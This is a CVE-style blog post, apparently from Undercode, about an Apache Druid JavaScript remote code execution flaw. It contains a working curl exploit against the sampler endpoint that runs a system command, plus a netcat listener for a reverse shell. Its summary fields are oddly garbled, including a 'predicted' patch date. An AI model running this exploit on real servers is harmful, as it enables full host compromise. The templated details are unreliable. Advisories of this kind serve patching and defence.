Listen to this Post
Apache Druid features an embedded functionality designed to allow execution of user-provided JavaScript code within specific data ingestion and processing tasks.
This feature is intended exclusively for trusted administrative environments and is disabled by default under standard server configuration parameters.
However, a critical security flaw exists in versions 0.20.0 and earlier where improper handling of incoming JSON payloads allows an attacker to bypass checks.
The vulnerability stems from how the Apache Druid ingestion mechanism processes user-supplied specifications containing JavaScript-based components.
An unauthenticated or low-privileged remote attacker can craft a malicious HTTP POST request targeting specific API endpoints such as the sampler service.
When the application parses the incoming JSON data using the Jackson library, it evaluates embedded JavaScript properties without sufficient isolation or restriction.
This design flaw forces the server to execute arbitrary JavaScript code for the given request regardless of the global configuration state.
Consequently, execution occurs with the full privilege level of the underlying Druid server process, facilitating complete system compromise.
The lack of adequate input validation and sandboxing on the embedded scripting engine enables seamless transition from data ingestion to host-level command execution.
Attackers leverage this capability to spawn reverse shells or execute arbitrary operating system utilities directly on the targeted host infrastructure.
DailyCVE Form:
Platform: Apache Druid
Version: Zero twenty zero
Vulnerability: Remote code execution
Severity: High risk level
date: January twenty nine
Prediction: February tenth patch
What Undercode Say:
Showing bash commands and codes related to the blog
curl -X POST "http://target:8081/druid/v1/indexer/sampler" \
-H "Content-Type: application/json" \
-d '{
"type": "index",
"spec": {
"dataSchema": {
"dataSource": "sample",
"parser": {
"type": "string",
"parseSpec": {
"format": "json",
"timestampSpec": {"column": "time", "format": "auto"},
"dimensionsSpec": {}
}
},
"transformSpec": {
"transforms": [],
"filter": {
"type": "javascript",
"function": "function(x) { java.lang.Runtime.getRuntime().exec(\"id\"); return true; }"
}
}
},
"ioConfig": {"type": "index_parallel", "firehose": {"type": "inline", "data": "{\"time\":\"2021-01-01T00:00:00.000Z\"}"}},
"tuningConfig": {"type": "index_parallel"}
}
}'
Exploit: (Educational Purposes!)
nc -lvnp 4444
Python reverse shell payload embedded via Nashorn JavaScript engine execution in Druid transform spec to establish persistent remote access.
Protection:
Upgrade Apache Druid to version 0.20.1 or higher immediately. Disable JavaScript functionality completely in runtime configuration files. Implement strict firewall rules and network segmentation.
Impact:
Complete server takeover, arbitrary command execution, data exfiltration, and lateral movement within the internal corporate network infrastructure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
